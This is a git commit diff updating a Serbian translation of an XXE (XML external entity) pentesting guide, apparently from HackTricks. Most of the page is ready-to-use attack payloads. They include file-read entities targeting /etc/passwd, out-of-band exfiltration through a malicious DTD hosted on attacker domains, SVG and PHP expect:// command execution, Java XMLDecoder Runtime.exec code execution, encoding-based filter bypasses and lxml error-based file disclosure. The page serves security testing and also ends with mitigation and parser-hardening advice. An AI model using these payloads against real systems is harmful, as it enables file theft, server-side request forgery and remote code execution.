Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to sr

This commit is contained in:
Translator 2025-07-28 12:29:41 +00:00
parent bec35cbca2
commit 1a60bff660

View File

@ -1,27 +1,22 @@
# XXE - XEE - XML Eksterna Entitet
{{#include /banners/hacktricks-training.md}}
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}
## Osnovi XML-a
XML je jezik za označavanje dizajniran za skladištenje i transport podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
XML je jezik za označavanje dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere kao što su `&lt;` i `&gt;`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, ocrtavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, naglašavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
- **Definicija tipa dokumenta (DTD)**: DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti unutrašnji, spoljašnji ili kombinacija, usmeravajući kako se dokumenti formatiraju i validiraju.
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji iskorišćavaju način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE detekcija sa parametarskim entitetima**: Za detekciju XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog bezbednosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehnike detekcije van opsega, kao što su pokretanje DNS upita ili HTTP zahteva ka kontrolisanoj domeni, kako bi se potvrdila ranjivost.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Glavni napadi
[**Većina ovih napada testirana je koristeći sjajne Portswigger XEE laboratorije: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**Većina ovih napada je testirana koristeći sjajne Portswigger XEE laboratorije: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Test nove entitete
@ -70,7 +65,7 @@ U ovom trećem slučaju primetite da deklarujemo `Element stockCheck` kao ANY
### Directory listing
U **Java** aplikacijama može biti moguće **prikazati sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo tražeći direktorijum umesto datoteke):
U **Java** baziranim aplikacijama može biti moguće **navesti sadržaj direktorijuma** putem XXE sa payload-om kao (samo tražeći direktorijum umesto datoteke):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -96,11 +91,11 @@ Koristeći **prethodno komentarisanu tehniku** možete naterati server da pristu
```
### "Blind" SSRF - Ekstrakcija podataka van kanala
**U ovoj prilici ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
**U ovoj prilici ćemo naterati server da učita novi DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswigger lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
U datoj zloćudnoj DTD, sprovodi se niz koraka za ekstrakciju podataka:
U datom zloćudnom DTD-u, sprovodi se niz koraka za ekstrakciju podataka:
### Primer zloćudne DTD:
### Primer zloćudnog DTD-a:
Struktura je sledeća:
```xml
@ -126,7 +121,7 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačeve servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
### Greška zasnovana (Eksterni DTD)
@ -173,8 +168,8 @@ Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/
Definisani koraci se izvršavaju ovim DTD-om:
- Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera.
- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku u parsiranju, otkrivajući sadržaj fajla `/etc/passwd`.
- Korišćenjem `local_dtd` entiteta, spoljašnji DTD se aktivira, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
```xml
@ -210,7 +205,7 @@ U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Pored toga, ako imate **Docker sliku žrtvovog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme github-a](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
Pored toga, ako imate **Docker sliku žrtvovog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -224,9 +219,9 @@ Testing 0 entities : []
```
### XXE putem Office Open XML parsera
Za detaljnije objašnjenje ovog napada, **pogledajte drugu sekciju** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Za detaljnije objašnjenje ovog napada, **pogledajte drugi deo** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim izvode određene detalje iz tih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser mogao da izvuče podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati.
@ -323,17 +318,17 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
### SVG - Upload fajlova
### SVG - Učitavanje fajlova
Fajlovi koje korisnici otpremaju u određene aplikacije, koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
Fajlovi koje korisnici učitavaju u određene aplikacije, koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
Kada korisnici **otpremaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača da pošalje zlonamerne SVG slike, čime se server izlaže XXE (XML External Entity) ranjivostima.
Kada korisnici **učitavaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača da pošalje zlonamerne SVG slike, čime se server izlaže XXE (XML External Entity) ranjivostima.
Primer takvog eksploata je prikazan ispod, gde zlonamerna SVG slika pokušava da pročita sistemske fajlove:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Druga metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" wrapper-a:
Druga metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" omota:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -343,11 +338,11 @@ U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Tako da treba da imate pristup slici koju je SVG kreirao.**
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Dakle, morate biti u mogućnosti da pristupite slici koju je SVG kreirao.**
### **PDF - Učitavanje fajla**
Pročitajte sledeći post da **naučite kako da iskoristite XXE za učitavanje PDF** fajla:
Pročitajte sledeći post da **naučite kako da iskoristite XXE učitavanjem PDF** fajla:
{{#ref}}
file-upload/pdf-upload-xxe-and-cors-bypass.md
@ -363,7 +358,7 @@ Content-Length: 7
foo=bar
```
Tada možda možete poslati sledeći zahtev, sa istim rezultatom:
Tada možete poslati sledeći zahtev, sa istim rezultatom:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -373,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Od JSON-a do XEE
Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) možete pronaći ovaj primer:
```xml
Content-Type: application/json;charset=UTF-8
@ -401,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8
</root>
</root>
```
Još jedan primer se može naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
Još jedan primer može se naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Obilaženje zaštita
@ -435,7 +430,7 @@ Ako web koristi Javu, možete proveriti [**jar: protocol**](xxe-xee-xml-external
Trik iz [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Možete kreirati **entitet unutar entiteta** kodirajući ga sa **html entitetima** i zatim ga pozvati da **učita dtd**.\
Napomena da **HTML Entiteti** koji se koriste moraju biti **numerički** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
Napomena da **HTML Entities** koje se koriste moraju biti **numeričke** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -481,9 +476,9 @@ DTD пример:
Ovaj primer je inspirisan u [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML format za razmenu lokalizacije) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je XML-bazirani format koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (računarski potpomognuta prevođenja) alate.
XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (Computer-Aided Translation) alate.
### Analiza slepe zahteva
### Blind Request Analysis
Zahtev se šalje serveru sa sledećim sadržajem:
```xml
@ -497,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Međutim, ovaj zahtev izaziva grešku na internom serveru, posebno pominjući problem sa deklaracijama markup-a:
Međutim, ovaj zahtev izaziva grešku unutrašnjeg servera, posebno pominjući problem sa deklaracijama markup-a:
```json
{
"status": 500,
@ -505,9 +500,9 @@ Međutim, ovaj zahtev izaziva grešku na internom serveru, posebno pominjući pr
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
I pored greške, zabeležen je hit na Burp Collaborator-u, što ukazuje na određeni nivo interakcije sa spoljnim entitetom.
I pored greške, zabeležen je hit na Burp Collaborator, što ukazuje na određeni nivo interakcije sa spoljnim entitetom.
Izvan-bend eksfiltracija podataka Da bi se eksfiltrirali podaci, šalje se modifikovani zahtev:
Izvan kanala Ekstrakcija podataka Da bi se ekstraktovali podaci, šalje se modifikovani zahtev:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -543,7 +538,7 @@ Ova modifikacija dovodi do uspešne eksfiltracije sadržaja fajla, jer se odraž
## RSS - XEE
Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti.
Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti.
### Ping back
@ -614,7 +609,7 @@ Korišćenje PHP base64 filtera
```
## Java XMLDecoder XEE to RCE
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršavanje koda na serveru.
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru.
### Using Runtime().exec()
```xml
@ -680,24 +675,24 @@ XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonamera
Pogledajte ovaj neverovatan izveštaj [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Tools
## Alati
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
### Python lxml Parameter-Entity XXE (Otkrivanje fajlova zasnovano na grešci)
> [!INFO]
> Python biblioteka **lxml** koristi **libxml2** u pozadini. Verzije pre **lxml 5.4.0 / libxml2 2.13.8** i dalje proširuju *parameter* entitete čak i kada je `resolve_entities=False`, čineći ih dostupnim kada aplikacija omogućava `load_dtd=True` i/ili `resolve_entities=True`. Ovo omogućava Error-Based XXE payload-ove koji ugrađuju sadržaj lokalnih fajlova u poruku o grešci parsera.
> Python biblioteka **lxml** koristi **libxml2** u pozadini. Verzije pre **lxml 5.4.0 / libxml2 2.13.8** i dalje proširuju *parametar* entitete čak i kada je `resolve_entities=False`, čineći ih dostupnim kada aplikacija omogućava `load_dtd=True` i/ili `resolve_entities=True`. Ovo omogućava XXE payload-ove zasnovane na grešci koji ugrađuju sadržaj lokalnih fajlova u poruku o grešci parsera.
#### 1. Eksploatacija lxml < 5.4.0
1. Identifikujte ili kreirajte *lokalni* DTD na disku koji definiše **neodređeni** parameter entitet (npr. `%config_hex;`).
2. Napravite interni DTD koji:
#### 1. Iskorišćavanje lxml < 5.4.0
1. Identifikujte ili kreirajte *lokalni* DTD na disku koji definiše **neodređeni** parametar entitet (npr. `%config_hex;`).
2. Napravite unutrašnji DTD koji:
* Učitava lokalni DTD sa `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Ponovno definiše neodređeni entitet tako da:
- Čita ciljni fajl (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Gradi još jedan parameter entitet koji se odnosi na **nevažeću putanju** koja sadrži `%flag;` vrednost i izaziva grešku parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
- Gradi drugi parametar entitet koji se odnosi na **nevažeću putanju** koja sadrži `%flag;` vrednost i izaziva grešku parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Na kraju proširite `%local_dtd;` i `%eval;` tako da parser naiđe na `%error;`, ne uspe da otvori `/aaa/<FLAG>` i otkrije flag unutar izbačene izuzetke koji se često vraća korisniku od strane aplikacije.
```xml
<!DOCTYPE colors [
@ -717,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Ako parser prijavi grešku zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x26;#x25;``%`) da biste odložili ekspanziju.
#### 2. Obilaženje lxml 5.4.0 ojačanja (libxml2 još uvek ranjiv)
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** i dalje omogućava njihovo ugrađivanje u *general* entitet. Trik je:
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** još uvek omogućava njihovo ugrađivanje u *general* entitet. Trik je:
1. Pročitati datoteku u parametarski entitet `%file`.
2. Deklarisati još jedan parametarski entitet koji gradi **general** entitet `c` čiji SYSTEM identifikator koristi *nepostojeći protokol* kao što je `meow://%file;`.
3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje pun URI uključujući sadržaj datoteke u poruci o grešci.
3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje punu URI uključujući sadržaj datoteke u poruci o grešci.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -732,20 +727,53 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
<colors>&c;</colors>
```
#### Ključne tačke
* **Parametarska entiteta** se i dalje proširuje putem libxml2 čak i kada `resolve_entities` treba da blokira XXE.
* **Nevažeći URI** ili **nepostojeća datoteka** su dovoljni da se kontrolisani podaci dodaju u izbačenu izuzetak.
* **Parametarske entitete** se i dalje proširuju pomoću libxml2 čak i kada `resolve_entities` treba da blokira XXE.
* **Nevažeći URI** ili **nepostojeća datoteka** su dovoljni da se kontrolisani podaci dodaju u izbačenu iznimku.
* Tehnika funkcioniše **bez izlazne povezanosti**, što je čini idealnom za strogo filtrirane okruženja.
#### Preporuke za ublažavanje
#### Uputstvo za ublažavanje
* Ažurirajte na **lxml ≥ 5.4.0** i osigurajte da je osnovni **libxml2** **≥ 2.13.8**.
* Onemogućite `load_dtd` i/ili `resolve_entities` osim ako nije apsolutno neophodno.
* Izbegavajte vraćanje sirovih grešaka parsera klijentu.
### Primer učvršćivanja Java DocumentBuilderFactory
Java aplikacije često analiziraju XML koristeći `DocumentBuilderFactory`. Po defaultu, fabrika **dozvoljava rešavanje spoljašnjih entiteta**, što je čini ranjivom na XXE i SSRF ako nisu postavljene dodatne oznake za učvršćivanje:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
```
Primer sigurne konfiguracije:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Ako aplikacija mora interno podržavati DTD-ove, držite `disallow-doctype-decl` onemogućen, ali **uvek** ostavite dva `external-*-entities` podešavanja postavljena na `false`. Ova kombinacija sprečava klasične napade na otkrivanje fajlova (`file:///etc/passwd`) kao i mrežne SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, itd.).
Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *LocalS3* koristila je ranjivi konstruktor prikazan iznad. Neautentifikovani napadač mogao je da pošalje kreirani XML sadržaj na `CreateBucketConfiguration` krajnju tačku i natera server da ugradi lokalne fajlove (na primer `/etc/passwd`) u HTTP odgovor.
## Reference
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Izvucite informacije putem HTTP koristeći vlastiti spoljašnji DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- Ekstraktujte informacije putem HTTP koristeći vlastiti eksterni DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)